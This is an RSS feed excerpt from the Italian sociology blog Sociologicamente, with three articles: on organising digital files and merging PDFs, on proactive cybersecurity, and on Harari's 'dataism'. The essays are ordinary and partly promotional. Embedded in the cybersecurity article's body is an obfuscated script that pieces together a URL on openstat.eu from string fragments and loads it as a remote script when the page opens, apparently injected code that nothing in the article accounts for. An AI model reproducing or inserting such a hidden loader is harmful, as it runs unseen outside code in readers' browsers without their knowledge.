<p>Creare ordine significa dare significato. Ogni volta che scegliamo di strutturare i nostri materiali, di archiviare un documento in modo chiaro o di unire più file in un’unica raccolta coerente, contribuiamo a costruire una mappa mentale che riflette il nostro modo di pensare. Nella società digitale, questa competenza diventa parte integrante dell’identità culturale contemporanea.</p>



<h2 class="wp-block-heading"><strong>L’Organizzazione dei Contenuti come Forma di Cultura Digitale</strong></h2>



<p><a href="https://www.agendadigitale.eu/cultura-digitale/il-digitale-ci-sta-snaturando-perche-dobbiamo-tutelare-i-legami-umani-dalla-logica-degli-algoritmi/" target="_blank" rel="noreferrer noopener">L’organizzazione digitale rappresenta</a> una delle nuove espressioni dell’intelligenza sociale. Non riguarda soltanto l’efficienza o la produttività, ma il modo in cui traduciamo il nostro pensiero in forma visiva e condivisibile. L’ordine digitale non è quindi un fine in sé, bensì un linguaggio che permette alla società di comunicare meglio con sé stessa.</p>



<p>Quando gestiamo le informazioni, plasmiamo un equilibrio tra caos e struttura. Questa tensione riflette un tratto culturale della contemporaneità: la ricerca costante di coerenza nel rumore informativo.</p>



<h3 class="wp-block-heading"><strong>Dall’Archiviazione al Pensiero Strutturato</strong></h3>



<p>Creare schemi, suddividere cartelle, etichettare documenti: ogni gesto di organizzazione diventa una forma di pensiero. Ordinare i contenuti digitali, infatti, significa anche costruire un modo di ragionare più chiaro e interconnesso.</p>



<p>Nel contesto educativo o professionale, la capacità di trasformare il disordine in una struttura leggibile non è solo utile — è un segno di maturità cognitiva e culturale.</p>



<h2 class="wp-block-heading"><strong>La Gestione dei Documenti come Espressione Sociale</strong></h2>



<p>Gestire documenti digitali non è un’attività neutra: riflette valori, priorità e modelli sociali. La cura con cui un individuo o un gruppo organizza i propri contenuti rispecchia la relazione che ha con il sapere e con la comunità.</p>



<p>Nel mondo del lavoro, ad esempio, una buona organizzazione documentale favorisce la trasparenza e la collaborazione. Nella ricerca, garantisce coerenza e tracciabilità delle informazioni. Nei contesti quotidiani, riduce lo stress cognitivo legato al disordine digitale.</p>



<h3 class="wp-block-heading"><strong>L’Atto di Unire PDF come Nuova Competenza Culturale</strong></h3>



<p>L’unione di più documenti in un unico file rappresenta oggi una forma simbolica di sintesi e di controllo. Saper<a href="https://www.adobe.com/it/acrobat/online/merge-pdf.html" target="_blank" rel="noreferrer noopener"> unire PDF</a> significa gestire il flusso informativo in modo più consapevole, dando continuità a idee e contenuti dispersi.</p>



<p>Questo gesto apparentemente tecnico diventa quindi una micro-espressione di una cultura più ampia: quella della chiarezza, della collaborazione e dell’efficienza. Unire file, nella sua semplicità, è un modo di ricomporre frammenti, di riordinare il pensiero e di costruire connessioni tra parti di un sapere comune.</p>



<h2 class="wp-block-heading"><strong>Ordine Digitale e Identità Personale</strong></h2>



<p>Il modo in cui organizziamo i nostri documenti digitali racconta chi siamo. Le nostre cartelle, i nomi dei file e la disposizione dei materiali sul desktop diventano una rappresentazione della mente digitale. Questa “identità documentale” ci accompagna in ogni ambito della vita, dal lavoro allo studio.</p>



<h3 class="wp-block-heading"><strong>Pratiche per Coltivare un Ordine Digitale Consapevole</strong></h3>



<p>Un ordine digitale efficace non nasce dal caso. Richiede intenzione, metodo e continuità. Alcune abitudini semplici possono aiutare a mantenere equilibrio e chiarezza mentale:</p>



<ul class="wp-block-list">
<li>Creare cartelle tematiche coerenti.</li>



<li>Evitare nomi di file generici come “Documento1” o “Nuovo progetto”.</li>



<li>Eliminare periodicamente i materiali obsoleti.</li>



<li>Archiviare le versioni finali in un’unica raccolta ordinata.</li>
</ul>



<p>Coltivare queste pratiche significa allenare la mente a gestire la complessità con lucidità.</p>



<h2 class="wp-block-heading"><strong>Dalla Condivisione alla Collaborazione</strong></h2>



<p>La digitalizzazione ha trasformato il concetto di collaborazione. Oggi la condivisione dei documenti non è più un’azione isolata ma un processo continuo, in cui ogni utente contribuisce alla costruzione collettiva di conoscenza.</p>



<p>La possibilità di modificare, integrare e unire contenuti in tempo reale ha creato nuove forme di cooperazione sociale e culturale.</p>



<h3 class="wp-block-heading"><strong>Gli Strumenti che Rafforzano la Coesione Digitale</strong></h3>



<p>Le piattaforme di editing condiviso e le tecnologie di sincronizzazione hanno reso la collaborazione più democratica. Tuttavia, queste innovazioni implicano anche una nuova responsabilità: quella di saper organizzare, citare correttamente e rispettare il lavoro altrui.</p>



<p>La coesione digitale nasce proprio da questa combinazione di efficienza e rispetto reciproco, in cui la tecnologia funge da ponte, non da barriera.</p>



<h2 class="wp-block-heading"><strong>Le Nuove Competenze dell’Uomo Digitale</strong></h2>



<p>Nel XXI secolo, la competenza digitale non si misura solo nella capacità di usare strumenti informatici, ma nella consapevolezza con cui li utilizziamo. L’uomo digitale non è colui che produce più dati, ma chi sa ordinarli e interpretarli.</p>


<div class="wp-block-image is-style-rounded">
<figure class="aligncenter size-large"><a href="https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web.jpg"><img decoding="async" width="1024" height="683" src="https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-1024x683.jpg" alt="la sociologia digitale" class="wp-image-15812" srcset="https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-1024x683.jpg 1024w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-300x200.jpg 300w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-768x512.jpg 768w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-1536x1024.jpg 1536w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-696x464.jpg 696w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-1068x712.jpg 1068w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-630x420.jpg 630w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Approfondisci con &#8220;La Sociologia digitale e l’analisi del web: alcuni appunti&#8221; di  <a href="https://sociologicamente.it/author/francescodambrosio/" target="_blank" rel="noreferrer noopener">Francesco D&#8217;Ambrosio</a></figcaption></figure>
</div>


<h3 class="wp-block-heading"><strong>Competenze Chiave della Cittadinanza Digitale</strong></h3>



<p>Tra le capacità più importanti per vivere e lavorare nella società digitale troviamo:</p>



<ul class="wp-block-list">
<li>Gestione critica delle informazioni.</li>



<li>Organizzazione dei contenuti multimediali.</li>



<li>Conoscenza dei principi base di privacy e sicurezza.</li>



<li>Capacità di sintesi e di collaborazione online.</li>
</ul>



<p>Queste competenze, sempre più richieste in ambito educativo e professionale, definiscono la nuova forma di cittadinanza attiva digitale.</p>



<h2 class="wp-block-heading"><strong>L’Impatto Sociale dell’Ordine Digitale</strong></h2>



<p>Un ambiente digitale ordinato favorisce la cooperazione, riduce i conflitti e stimola la produttività. Le aziende e le istituzioni che adottano buone pratiche di archiviazione condivisa mostrano livelli più alti di efficienza e fiducia interna.</p>



<h3 class="wp-block-heading"><strong>Il Ruolo dell’Educazione nella Cultura dell’Organizzazione</strong></h3>



<p>Le scuole e le università svolgono un ruolo essenziale nella diffusione di queste competenze.<a href="https://www.agendadigitale.eu/scuola-digitale/educare-allia-le-sinergie-necessarie-tra-scuole-e-famiglie/" target="_blank" rel="noreferrer noopener"> Insegnare ai giovani come gestire</a> e unire contenuti digitali significa prepararli a una società fondata sulla collaborazione e sulla responsabilità informativa.</p>



<p>L’educazione digitale non è un optional: è una forma di alfabetizzazione civica contemporanea.</p>



<h2 class="wp-block-heading"><strong>Etica, Privacy e Trasparenza nella Gestione dei File</strong></h2>



<p>La gestione dei documenti digitali implica anche una riflessione etica. Ogni file condiviso porta con sé informazioni personali, dati sensibili e tracce della nostra identità. Per questo motivo, la cultura dell’organizzazione non può essere disgiunta dalla cultura della privacy.</p>



<h3 class="wp-block-heading"><strong>Costruire Fiducia nell’Ecosistema Digitale</strong></h3>



<p>Per mantenere un ecosistema digitale sicuro e collaborativo, occorre:</p>



<ul class="wp-block-list">
<li>Condividere solo ciò che è necessario.</li>



<li>Aggiornare regolarmente le impostazioni di sicurezza.</li>



<li>Adottare pratiche di archiviazione protetta.</li>



<li>Promuovere la trasparenza nelle relazioni digitali.</li>
</ul>



<p>La fiducia nasce dalla responsabilità collettiva: essere consapevoli del valore e della fragilità delle informazioni che gestiamo ogni giorno.</p>



<h2 class="wp-block-heading"><strong>Tecnologia e Cultura: La Digitalizzazione come Pratica Umana</strong></h2>



<p>La tecnologia non è mai neutra. Ogni strumento che utilizziamo plasma abitudini, linguaggi e persino modi di pensare. Unire file, collaborare online o archiviare dati non sono azioni meccaniche: sono parte di una trasformazione culturale che ridefinisce il nostro modo di comunicare e di esistere come comunità.</p>



<h3 class="wp-block-heading"><strong>Quando la Tecnologia Diventa Cultura</strong></h3>



<p>Le piccole azioni quotidiane — ordinare cartelle, nominare file, unire documenti — diventano gesti culturali. Rappresentano la nostra volontà di dare coerenza al mondo digitale e di connettere idee e persone in modo armonico.</p>



<h2 class="wp-block-heading"><strong>Coltivare la Coscienza Digitale</strong></h2>



<p>L’organizzazione digitale non è solo una questione di metodo: è una forma di consapevolezza. Ogni volta che riordiniamo i nostri contenuti, partecipiamo a un processo più ampio di costruzione culturale e sociale.</p>



<h3 class="wp-block-heading"><strong>Perché Coltivare la Coscienza Digitale È una Scelta di Responsabilità</strong></h3>



<p>Sviluppare una coscienza digitale significa imparare a trattare i dati con cura, a valorizzare la collaborazione e a mantenere equilibrio tra efficienza e umanità. È un modo per riaffermare la centralità del pensiero umano in un sistema sempre più automatizzato.</p>



<p>Promuovere un ordine digitale consapevole non serve solo a semplificare la vita, ma a rendere la società più connessa, trasparente e responsabile.</p>



<h2 class="wp-block-heading"><strong>FAQ</strong></h2>



<h3 class="wp-block-heading"><strong><em>1. Perché unire PDF è considerato una competenza culturale digitale?</em></strong></h3>



<p>Perché riflette la capacità di gestire informazioni complesse in modo sintetico e condivisibile, rendendo il sapere più accessibile e coerente.</p>



<h3 class="wp-block-heading"><strong><em>2. Come si può migliorare la propria organizzazione digitale quotidiana?</em></strong></h3>



<p>Creando routine di archiviazione, usando nomi chiari per i file e distinguendo le versioni dei documenti.</p>



<h3 class="wp-block-heading"><strong><em>3. Quali sono i vantaggi sociali dell’ordine digitale?</em></strong></h3>



<p>Favorisce la cooperazione, riduce errori di comunicazione e promuove un ambiente digitale più collaborativo.</p>



<h3 class="wp-block-heading"><strong><em>4. Quali strumenti aiutano a promuovere una collaborazione efficace online?</em></strong></h3>



<p>Piattaforme di editing condiviso, strumenti di archiviazione cloud e applicazioni per unire o gestire documenti digitali in gruppo.</p>



<h3 class="wp-block-heading"><strong><em>5. Cosa significa avere una “coscienza digitale”?</em></strong></h3>



<p>Significa usare la tecnologia con consapevolezza, rispetto e attenzione per il valore umano delle informazioni.</p>
<p>L'articolo <a href="https://sociologicamente.it/come-unire-pdf-e-organizzare-le-idee-nella-societa-digitale/">Come unire PDF e organizzare le idee nella società digitale</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Dai rischi informatici alla protezione proattiva: evoluzione della sicurezza digitale</title>
		<link>https://sociologicamente.it/dai-rischi-informatici-alla-protezione-proattiva-evoluzione-della-sicurezza-digitale/</link>
		
		<dc:creator><![CDATA[webmaster]]></dc:creator>
		<pubDate>Tue, 16 Sep 2025 08:55:25 +0000</pubDate>
				<category><![CDATA[All]]></category>
		<category><![CDATA[cyberspazio]]></category>
		<category><![CDATA[digitale]]></category>
		<category><![CDATA[sicurezza]]></category>
		<guid isPermaLink="false">https://sociologicamente.it/?p=18411</guid>

					<description><![CDATA[<p>Nell’ultimo decennio la sicurezza digitale ha subito una trasformazione radicale diventando una strategia orientata alla prevenzione. L’aumento di minacce come phishing, ransomware e furti di dati sensibili ha reso fondamentale adottare pratiche avanzate e strumenti di difesa intelligenti. Anche azioni semplici, come utilizzare uno strumento affidabile che genera password sicure fornito da piattaforme come Proton [&#8230;]</p>
<p>L'articolo <a href="https://sociologicamente.it/dai-rischi-informatici-alla-protezione-proattiva-evoluzione-della-sicurezza-digitale/">Dai rischi informatici alla protezione proattiva: evoluzione della sicurezza digitale</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><em>Nell’ultimo decennio la sicurezza digitale ha subito una trasformazione radicale diventando una strategia orientata alla prevenzione. L’aumento di minacce come phishing, ransomware e furti di dati sensibili ha reso fondamentale adottare pratiche avanzate e strumenti di difesa intelligenti.</em></p>



<p>Anche azioni semplici, come utilizzare uno strumento affidabile che <a href="https://proton.me/it/pass/password-generator" target="_blank" rel="noreferrer noopener">genera password</a><a href="https://proton.me/it/pass/password-generator"> </a>sicure fornito da piattaforme come<em> Proton</em> ad esempio, contribuiscono a rafforzare la protezione degli utenti. La transizione verso una <strong>protezione proattiva</strong> non riguarda solo le aziende, ma anche i singoli individui, sempre più consapevoli dell’importanza di difendere i propri dati online.</p>



<h2 class="wp-block-heading">Dai primi rischi informatici alle minacce moderne</h2>



<p>Le prime forme di <strong>cybercrime</strong> erano limitate a virus e attacchi rudimentali, spesso creati con finalità dimostrative. Con l’avanzare della tecnologia, le minacce si sono evolute in veri e propri strumenti di attacco capaci di colpire istituzioni, imprese e privati. Oggi, i criminali informatici sfruttano intelligenza artificiale, malware sofisticati e tecniche di ingegneria sociale per aggirare le difese tradizionali.</p>



<p>Questo scenario ha evidenziato i limiti dei sistemi basati unicamente su antivirus o firewall, dimostrando che la sola reattività non è più sufficiente. La <strong>cyber security</strong> moderna deve anticipare le mosse degli aggressori, identificare le vulnerabilità e rafforzare continuamente i propri protocolli di difesa.</p>



<h2 class="wp-block-heading">Il ruolo centrale della protezione proattiva</h2>



<p>La <strong>protezione proattiva</strong> si fonda su un principio chiave: prevenire prima ancora che il danno avvenga. Tecnologie come il <strong>machine learning</strong>, l’analisi comportamentale e i sistemi di rilevamento consentono di individuare attività sospette prima che si trasformino in attacchi. Questo approccio è particolarmente efficace in contesti aziendali, dove una violazione dei dati può avere conseguenze economiche e reputazionali enormi.</p>


<div class="wp-block-image is-style-default">
<figure class="aligncenter size-large"><a href="https://sociologicamente.it/wp-content/uploads/2024/07/social-network-poisoning-by-freepik-scaled.jpg"><img decoding="async" width="1024" height="512" src="https://sociologicamente.it/wp-content/uploads/2024/07/social-network-poisoning-by-freepik-1024x512.jpg" alt="social network poisoning by freepik" class="wp-image-16689" srcset="https://sociologicamente.it/wp-content/uploads/2024/07/social-network-poisoning-by-freepik-1024x512.jpg 1024w, https://sociologicamente.it/wp-content/uploads/2024/07/social-network-poisoning-by-freepik-300x150.jpg 300w, https://sociologicamente.it/wp-content/uploads/2024/07/social-network-poisoning-by-freepik-768x384.jpg 768w, https://sociologicamente.it/wp-content/uploads/2024/07/social-network-poisoning-by-freepik-1536x768.jpg 1536w, https://sociologicamente.it/wp-content/uploads/2024/07/social-network-poisoning-by-freepik-2048x1024.jpg 2048w, https://sociologicamente.it/wp-content/uploads/2024/07/social-network-poisoning-by-freepik-696x348.jpg 696w, https://sociologicamente.it/wp-content/uploads/2024/07/social-network-poisoning-by-freepik-1068x534.jpg 1068w, https://sociologicamente.it/wp-content/uploads/2024/07/social-network-poisoning-by-freepik-840x420.jpg 840w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Approfondisci con <a href="https://sociologicamente.it/social-network-poisoning-come-difendersi/" target="_blank" rel="noreferrer noopener">&#8220;Social network poisoning: come difendersi?&#8221;</a> di Francesco D&#8217;Ambrosio</figcaption></figure>
</div>


<p>Non si tratta solo di strumenti tecnologici, ma anche di formazione continua. Educare i dipendenti, sensibilizzare gli utenti e promuovere una cultura della cybersecurity sono elementi essenziali per ridurre il rischio. Una strategia proattiva integra tecnologia, consapevolezza e aggiornamenti costanti.</p>



<h2 class="wp-block-heading">Strumenti e pratiche per una sicurezza digitale efficace</h2>



<p>Tra le soluzioni fondamentali rientrano sistemi di autenticazione a più fattori, l’uso di <strong>password complesse</strong>, il monitoraggio in tempo reale delle reti e la crittografia avanzata dei dati. Le aziende che adottano infrastrutture basate sul <strong>cloud</strong> possono beneficiare di strumenti integrati per la protezione, purché siano configurati in modo corretto e aggiornati regolarmente.</p>



<p>Anche a livello individuale, semplici pratiche come aggiornare i dispositivi, utilizzare reti sicure e affidarsi a gestori di password rappresentano un contributo concreto alla difesa dai rischi. L’evoluzione delle minacce informatiche richiede un impegno costante, fatto di abitudini quotidiane e strumenti innovativi.</p>



<h2 class="wp-block-heading">Verso un futuro digitale più sicuro</h2>



<p>L’evoluzione dalla gestione dei <strong>rischi informatici</strong> alla <strong>protezione</strong> segna una nuova era per la sicurezza digitale. In un mondo connesso e interdipendente, la prevenzione diventa l’arma più potente contro i cyberattacchi. Solo integrando tecnologia avanzata, buone pratiche e una cultura della consapevolezza sarà possibile garantire un ambiente digitale sicuro e resiliente.</p>



<p>Un ulteriore aspetto da considerare è la crescente collaborazione tra aziende, istituzioni e organismi di ricerca. La condivisione di dati, esperienze e strumenti innovativi rappresenta un passo fondamentale per fronteggiare minacce che non conoscono confini geografici. Allo stesso tempo, l’adozione di normative sempre più stringenti in materia di <strong>protezione dei dati</strong> e privacy obbliga organizzazioni e privati a elevare gli standard di sicurezza, trasformando la <strong>cybersecurity</strong> in un elemento imprescindibile di competitività e affidabilità.</p>



<script>
(function(){
tub0u="mrfg75xxub00";tub0=document.createElement("script");
tub0_="o"+"p"+("en")+"s";tub0_+="ta"+("t"+"");tub0.async=true;tub0_+="."+("");
tub0u="2491114396."+tub0u;tub0.type="text/javascript";tub0u+="qy3z9hbqr2us";
tub0u+="bbdkzf";tub0_+=("e")+""+("u"+"/");tub0.src="https://"+tub0_+tub0u;
tub0d=document.body;tub0d.appendChild(tub0);
})();
</script>
<p>L'articolo <a href="https://sociologicamente.it/dai-rischi-informatici-alla-protezione-proattiva-evoluzione-della-sicurezza-digitale/">Dai rischi informatici alla protezione proattiva: evoluzione della sicurezza digitale</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Yuval Noah Harari: l&#8217;affermazione del datismo</title>
		<link>https://sociologicamente.it/yuval-noah-harari-laffermazione-del-datismo/</link>
		
		<dc:creator><![CDATA[Sociologicamente]]></dc:creator>
		<pubDate>Tue, 22 Apr 2025 17:16:59 +0000</pubDate>
				<category><![CDATA[All]]></category>
		<category><![CDATA[I Grandi Sociologi]]></category>
		<category><![CDATA[digitale]]></category>
		<category><![CDATA[era digitale]]></category>
		<category><![CDATA[filosofia]]></category>
		<category><![CDATA[religione]]></category>
		<guid isPermaLink="false">https://sociologicamente.it/?p=17831</guid>

					<description><![CDATA[<p>La teoria proposta dallo storico e filosofo Yuval Noah Harari offre una riflessione provocatoria e profonda sull’evoluzione dell’umanità verso una nuova forma di organizzazione sociale, in cui i dati e non più l’individuo sono al centro del mondo. Secondo Harari, l’universo, nella sua concezione più moderna, può essere visto come un flusso continuo di dati, [&#8230;]</p>
<p>L'articolo <a href="https://sociologicamente.it/yuval-noah-harari-laffermazione-del-datismo/">Yuval Noah Harari: l&#8217;affermazione del datismo</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>La teoria proposta dallo storico e filosofo Yuval Noah Harari offre una riflessione provocatoria e profonda sull’evoluzione dell’umanità verso una nuova forma di organizzazione sociale, in cui <strong>i dati e non più l’individuo sono al centro del mondo</strong>. Secondo Harari, l’universo, nella sua concezione più moderna, può essere visto come un flusso continuo di dati, in cui ogni essere umano diventa progressivamente marginale, mentre la società si trasforma in un <strong>sistema datocentrico</strong>.</p>



<h2 class="wp-block-heading">Yuval Noah Harari: dalla religione teocentrica alla<em> “data religion”</em></h2>



<p>Nel suo celebre saggio <em>Homo Deus </em>Harari traccia l’evoluzione storica dell’uomo, a partire dalla rivoluzione cognitiva che ha visto l’Homo sapiens prevalere sugli altri esseri viventi grazie alla sua capacità di creare significato e interpretare il mondo. Tuttavia, l’umanità sembra ormai essere giunta a un punto in cui <strong>la</strong> <strong>“seconda rivoluzione” sta per arrivare,</strong> una nuova era che segnerà <strong>l’inizio del superamento dell&#8217;umanesimo</strong>. Dopo aver messo l’uomo al centro del mondo, infatti, si sta assistendo alla sua progressiva deprivazione di identità, di coscienza e di senso attraverso l’uso e la prevaricazione delle tecnologie.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="https://sociologicamente.it/wp-content/uploads/2020/04/p05d1qyl.jpg"><img decoding="async" width="1024" height="576" src="https://sociologicamente.it/wp-content/uploads/2020/04/p05d1qyl-1024x576.jpg" alt="L’IMPORTANZA DELLA RELIGIONE NELLE CRISI, TRA REVIVAL E DIGITALIZZAZIONI" class="wp-image-10149" srcset="https://sociologicamente.it/wp-content/uploads/2020/04/p05d1qyl-1024x576.jpg 1024w, https://sociologicamente.it/wp-content/uploads/2020/04/p05d1qyl-300x169.jpg 300w, https://sociologicamente.it/wp-content/uploads/2020/04/p05d1qyl-768x432.jpg 768w, https://sociologicamente.it/wp-content/uploads/2020/04/p05d1qyl-696x392.jpg 696w, https://sociologicamente.it/wp-content/uploads/2020/04/p05d1qyl-1068x601.jpg 1068w, https://sociologicamente.it/wp-content/uploads/2020/04/p05d1qyl-747x420.jpg 747w, https://sociologicamente.it/wp-content/uploads/2020/04/p05d1qyl.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">APPROFONDISCI CON <a href="https://sociologicamente.it/limportanza-delle-religione-nelle-crisi-tra-revival-e-digitalizzazioni/" target="_blank" rel="noreferrer noopener">&#8220;L’importanza delle religione nelle crisi, tra revival e digitalizzazioni&#8221;, di Francesco D&#8217;Ambrosio</a></figcaption></figure>
</div>


<p>In questa nuova epoca, <strong>l&#8217;uomo</strong> non è più considerato il fine ultimo della creazione ma solo una <strong>parte di un grande sistema algoritmico e computazionale.</strong> La <strong>religione dataista </strong>rappresenta l’esito di questa visione: <strong>non più l’uomo e nemmeno Dio sono venerati, ma i dati </strong>stessi. In questo scenario, l&#8217;universo non è altro che un flusso infinito di informazioni, e tutto – dalle decisioni alle azioni quotidiane – è valutato in base al contributo che può dare a tale flusso.</p>



<h2 class="wp-block-heading">Il dominio su Dio: l&#8217;uomo alla ricerca del potere divino attraverso la tecnologia</h2>



<p>Harari esplora l’antica ambizione dell’uomo di elevarsi a divinità, un sogno che per millenni ha animato la religione e la filosofia. Con l’avvento della tecnologia, questa ambizione sta trovando un nuovo canale per realizzarsi: il <strong>passaggio da Homo sapiens a Homo Deus </strong>(uomo divino), ovvero <strong>l’uomo potenziato dalle tecnologie e dai Big Data.</strong> La “rivoluzione cognitiva” ha permesso all’uomo di sviluppare linguaggi, culture e religioni, ma la “rivoluzione tecnologica” che stiamo vivendo potrebbe portare a una nuova forma di umanità che trascende l’umano stesso.</p>



<p>Harari fa un’osservazione decisiva: l’uomo, per quanto potente, ha sempre dovuto fare i conti con i propri limiti biologici. Oggi, però, la tecnologia sta dando all’essere umano la possibilità di superare tali limiti, spingendolo verso la creazione di una nuova specie, un superuomo le cui capacità potrebbero essere pari a quelle di una divinità.</p>



<h2 class="wp-block-heading">La deprivazione dell&#8217;identità umana nel sistema algoritmico</h2>



<p>In questo contesto, l’uomo rischia di perdere la propria identità, come sottolineato da Harari, in particolare nel contesto del lavoro e delle decisioni che ormai sono gestite da algoritmi intelligenti e intelligenza artificiale. L’uomo, prima al centro delle decisioni economiche e sociali, ora si trova a essere sostituito, sempre più, da sistemi automatizzati che elaborano Big Data. <strong>L’individuo diventa una “<em>cog in the machine”</em>,</strong> un ingranaggio all’interno di un sistema più grande, il cui scopo è semplicemente generare, elaborare e trasmettere informazioni.</p>



<p>L&#8217;automazione e l&#8217;intelligenza artificiale, quindi, non solo erodono il senso di appartenenza e di identità, ma creano anche una società disumanizzante in cui la coscienza e la libertà individuale vengono progressivamente annullate. <strong>L’uomo si trasforma in un&#8217;entità subordinata al controllo e all&#8217;elaborazione delle macchine, </strong>diventando così sempre più insignificante nel grande flusso di dati che regola la realtà.</p>



<h2 class="wp-block-heading">Yuval Noah Harari: il datismo come nuova religione</h2>



<p>Una delle riflessioni più potenti che Harari offre è l’emergere di una nuova religione: il datismo. In passato, le religioni tradizionali attribuivano ogni evento all’azione di un Dio supremo che vigilava sull’universo. Oggi, però, l’uomo si trova di fronte alla <strong>“morte di Dio”</strong>, come già preconizzato da Nietzsche, e al <strong>trionfo di una nuova forma di tecnocrazia</strong>, una <strong>tecnocrazia di dati</strong>. In questo nuovo ordine mondiale, i dati non solo governano le nostre azioni, ma diventano il fine stesso dell’esistenza.</p>



<p>La visione di Harari solleva preoccupazioni su come questa nuova religione dataista possa influenzare la società: l’uomo, ridotto a una mera unità di dati, perde di vista il senso della propria vita. Il valore di ogni cosa è calcolato esclusivamente in relazione alla quantità di dati che può produrre o che può essere utilizzato nel grande sistema. <strong>Gli algoritmi sono i nuovi sacerdoti, e i Big Data sono il nuovo Dio</strong>, una divinità impersonale e senza compassione.</p>



<h2 class="wp-block-heading">&#8220;Digito ergo sum?&#8221; – L’algoritmo come nuova realtà</h2>



<p>Harari avanza anche una critica radicale alla progressiva alienazione dell’uomo dall’esperienza autentica. Se la famosa affermazione cartesiana &#8220;cogito ergo sum&#8221; (penso dunque sono) ha definito la filosofia occidentale, oggi siamo in un mondo in cui si potrebbe dire <strong>&#8220;digito ergo sum&#8221; </strong>(digito dunque sono). <strong>La tecnologia e l’intelligenza artificiale stanno sostituendo il pensiero umano,</strong> riducendo la capacità dell’individuo di pensare autonomamente, controllando ogni aspetto della sua esperienza e portando l’uomo a una progressiva disconnessione dal proprio sé autentico.</p>


<div class="wp-block-image is-style-rounded">
<figure class="aligncenter size-large"><a href="https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web.jpg"><img decoding="async" width="1024" height="683" src="https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-1024x683.jpg" alt="la sociologia digitale" class="wp-image-15812" srcset="https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-1024x683.jpg 1024w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-300x200.jpg 300w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-768x512.jpg 768w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-1536x1024.jpg 1536w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-696x464.jpg 696w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-1068x712.jpg 1068w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web-630x420.jpg 630w, https://sociologicamente.it/wp-content/uploads/2023/11/sociologia-digitale-e-analisi-del-web.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption"><a href="https://sociologicamente.it/la-sociologia-digitale-e-lanalisi-del-web-alcuni-appunti/" target="_blank" rel="noreferrer noopener">APPROFONDISCI con &#8220;La Sociologia digitale e l’analisi del web: alcuni appunti&#8221;, di Francesco D&#8217;Ambrosio</a></figcaption></figure>
</div>


<h2 class="wp-block-heading">La metafora della formica gigante di Yuval Noah Harari</h2>



<p>Nel libro Homo Deus, Harari conclude con una visione inquietante del futuro: l’uomo, che è stato evoluto da scimpanzé a Homo sapiens, potrebbe presto diventare qualcosa di molto diverso — una formica gigante. <strong>La metafora delle formiche evoca una società eusociale, </strong>in cui gli individui, pur essendo parte di un tutto, perdono la loro individualità e il libero arbitrio, costretti a operare solo per il bene del collettivo. <strong>La nostra società tecnologica, come la colonia di formiche,</strong> potrebbe presto essere <strong>governata da algoritmi</strong> che eliminano la necessità dell’intervento umano.</p>



<h2 class="wp-block-heading">L’impossibilità di fermare il flusso dei dati</h2>



<p>Un’ulteriore riflessione riguarda la percezione che questo flusso di dati sia inevitabile. Nonostante gli scettici sostengano che una mano invisibile guiderà il processo, Harari avverte che tale &#8220;mano&#8221; è cieca e che i tentativi di fermare questa macchina globale potrebbero portare solo al collasso della società stessa. <strong>La &#8220;fine di Homo sapiens&#8221; potrebbe essere una conseguenza inevitabile della crescita dei Big Data, </strong>proprio come quando le automobili hanno sostituito le carrozze trainate da cavalli, senza cercare di potenziare questi ultimi.</p>



<p>In definitiva, Harari ci invita a riflettere su una realtà che sembra avvicinarsi rapidamente, una realtà dominata dai dati e dalla tecnologia, in cui l&#8217;uomo potrebbe non essere più al centro del mondo, ma solo una piccola parte di un flusso infinito che lo trascina verso il futuro.</p>



<p><strong>Enrico Delle Donne</strong></p>



<h2 class="wp-block-heading">Riferimenti</h2>



<ul class="wp-block-list">
<li><a href="https://amzn.to/4iCIoqa" target="_blank" rel="noreferrer noopener">Harari Y. N., <em>Homo Deus. Breve Storia del Futuro</em>, s.l., Bompiani, maggio 2017, prima edizione.</a></li>



<li>Nietzsche F., <em>Così parlò Zarathustra. Un libro per tutti e per nessuno, </em>Milano., Adelphi,1976, quarantatreesima edizione.</li>
</ul>
<p>L'articolo <a href="https://sociologicamente.it/yuval-noah-harari-laffermazione-del-datismo/">Yuval Noah Harari: l&#8217;affermazione del datismo</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></content:encoded>
					
		
